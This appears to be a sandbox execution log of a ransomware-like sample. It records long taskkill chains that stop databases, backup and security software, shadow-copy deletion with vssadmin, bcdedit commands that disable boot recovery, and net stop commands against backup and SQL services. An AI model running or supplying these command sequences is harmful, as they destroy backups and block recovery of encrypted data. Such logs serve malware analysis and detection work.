@taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"3⤵PID:4180
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExec.exe /F4⤵PID:4696
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Att.exe /F4⤵PID:4944
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mdm.exe /F4⤵PID:4908
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExecManagementService.exe /F4⤵PID:1476
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bengine.exe /F4⤵PID:3644
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM benetns.exe /F4⤵PID:4392
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beserver.exe /F4⤵PID:5028
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pvlsvr.exe /F4⤵PID:3088
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bedbg.exe /F4⤵PID:1228
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
- Kills process with taskkill
PID:4936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵PID:1168
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F4⤵
- Kills process with taskkill
PID:2204
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RemoteAssistProcess.exe /F4⤵PID:3080
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarMoniService.exe /F4⤵PID:3796
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGameSrv.exe /F4⤵
- Kills process with taskkill
PID:4140
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarCMService.exe /F4⤵PID:2824
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TsService.exe /F4⤵PID:4524
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGame.exe /F4⤵PID:2528
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarServerView.exe /F4⤵PID:2000
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IcafeServicesTray.exe /F4⤵PID:1604
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BsAgent_0.exe /F4⤵PID:4708
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ControlServer.exe /F4⤵PID:4512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DisklessServer.exe /F4⤵PID:4648
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DumpServer.exe /F4⤵PID:3860
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM NetDiskServer.exe /F4⤵PID:4844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM PersonUDisk.exe /F4⤵PID:2912
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM service_agent.exe /F4⤵PID:4628
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SoftMemory.exe /F4⤵PID:4636
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarServer.exe /F4⤵PID:5072
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RtkNGUI64.exe /F4⤵PID:3416
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Serv-U-Tray.exe /F4⤵PID:4644
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM QQPCSoftTrayTips.exe /F4⤵PID:1808
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SohuNews.exe /F4⤵PID:3316
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Serv-U.exe /F4⤵PID:1972
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM QQPCRTP.exe /F4⤵PID:1776
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM EasyFZS.exe /F4⤵PID:3092
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM HaoYiShi.exe /F4⤵PID:4812
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM HysMySQL.exe /F4⤵PID:4488
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"3⤵PID:4172
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pg_ctl.exe /F4⤵PID:4568
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rcrelay.exe /F4⤵PID:372
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SogouImeBroker.exe /F4⤵
- Kills process with taskkill
PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CCenter.exe /F4⤵PID:2232
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ScanFrm.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4904
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM d_manage.exe /F4⤵PID:4564
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RsTray.exe /F4⤵PID:2592
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wampmanager.exe /F4⤵PID:4744
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RavTray.exe /F4⤵PID:3616
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mssearch.exe /F4⤵PID:3996
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlmangr.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM msftesql.exe /F4⤵PID:4688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseSvr.exe /F4⤵
- Kills process with taskkill
PID:4772
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oracle.exe /F4⤵PID:1056
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TNSLSNR.exe /F4⤵PID:5108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseConsole.exe /F4⤵PID:4944
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM aspnet_state.exe /F4⤵PID:4676
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoBackUpEx.exe /F4⤵PID:1212
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM redis-server.exe /F4⤵PID:4616
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MySQLNotifier.exe /F4⤵
- Kills process with taskkill
PID:1108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oravssw.exe /F4⤵PID:3640
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fppdis5.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4468
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM His6Service.exe /F4⤵PID:3764
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM dinotify.exe /F4⤵PID:1772
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM JhTask.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4944
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Executer.exe /F4⤵PID:3020
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AllPassCBHost.exe /F4⤵PID:2836
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ap_nginx.exe /F4⤵PID:2360
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AndroidServer.exe /F4⤵PID:1372
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM XT.exe /F4⤵PID:5024
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM XTService.exe /F4⤵PID:4932
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AllPassMCService.exe /F4⤵PID:4512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IMEDICTUPDATE.exe /F4⤵PID:3796
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM FlashHelperService.exe /F4⤵
- Kills process with taskkill
PID:4852
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ap_redis-server.exe /F4⤵PID:3688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UtilDev.WebServer.Monitor.exe /F4⤵PID:4844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UWS.AppHost.Clr2.x86.exe /F4⤵PID:4108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM FoxitProtect.exe /F4⤵PID:5028
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ftnlses.exe /F4⤵PID:1480
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ftusbrdwks.exe /F4⤵PID:4136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"3⤵PID:4164
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ThunderPlatform.exe /F4⤵PID:4904
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iexplore.exe /F4⤵PID:4460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent.exe /F4⤵PID:2464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent-daemon.exe /F4⤵PID:4484
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM eSightService.exe /F4⤵
- Suspicious use of WriteProcessMemory
PID:3260
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cygrunsrv.exe /F4⤵PID:4472
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wrapper.exe /F4⤵PID:4624
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM nginx.exe /F4⤵PID:1544
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM node.exe /F4⤵PID:1856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sshd.exe /F4⤵PID:2620
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-tray.exe /F4⤵PID:4472
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iempwatchdog.exe /F4⤵PID:3768
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlwriter.exe /F4⤵PID:5104
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM php.exe /F4⤵PID:3736
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "notepad++.exe" /F4⤵
- Kills process with taskkill
PID:4852
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "phpStudy.exe" /F4⤵PID:4520
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM OPCClient.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4484
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM navicat.exe /F4⤵PID:2592
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SupportAssistAgent.exe /F4⤵PID:4840
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SunloginClient.exe /F4⤵
- Kills process with taskkill
PID:4216
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SOUNDMAN.exe /F4⤵PID:1536
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM WeChat.exe /F4⤵PID:1544
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TXPlatform.exe /F4⤵PID:3692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Tencentdll.exe /F4⤵PID:4532
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F4⤵PID:4960
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM jenkins.exe /F4⤵PID:724
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM QQ.exe /F4⤵PID:4876
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM HaoZip.exe /F4⤵PID:4796
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM HaoZipScan.exe /F4⤵PID:4948
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM navicat.exe /F4⤵PID:5092
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TSVNCache.exe /F4⤵PID:4380
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RAVCpl64.exe /F4⤵PID:4424
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM secbizsrv.exe /F4⤵PID:2148
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM aliwssv.exe /F4⤵PID:2920
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Helper_Haozip.exe /F4⤵PID:1296
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM acrotray.exe /F4⤵PID:4896
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "FileZilla Server Interface.exe" /F4⤵PID:3200
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM YoudaoNote.exe /F4⤵PID:1604
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"2⤵PID:1604
-
-
C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"2⤵PID:1936
-
-
C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"2⤵PID:1052
-
-
C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"2⤵PID:716
-
-
C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"2⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Windows\System32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3764
-
-
C:\Windows\System32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures3⤵
- Suspicious use of WriteProcessMemory
PID:3268 -
C:\Windows\system32\bcdedit.exebcdedit /set {current} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
PID:2232
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c bcdedit /set {current} recoveryenabled no3⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\system32\bcdedit.exebcdedit /set {current} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
PID:1812
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop xenlite2⤵PID:4540
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY"1⤵PID:300
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Client Service"1⤵PID:4840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Legacy Client Service"1⤵PID:4648
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper100"1⤵PID:3416
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"1⤵PID:4540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit1⤵PID:4468
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology1⤵PID:2464
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WebAttendServer1⤵PID:2156
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$OPTIMA"1⤵PID:5068
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13001⤵PID:2592
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:696
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:4528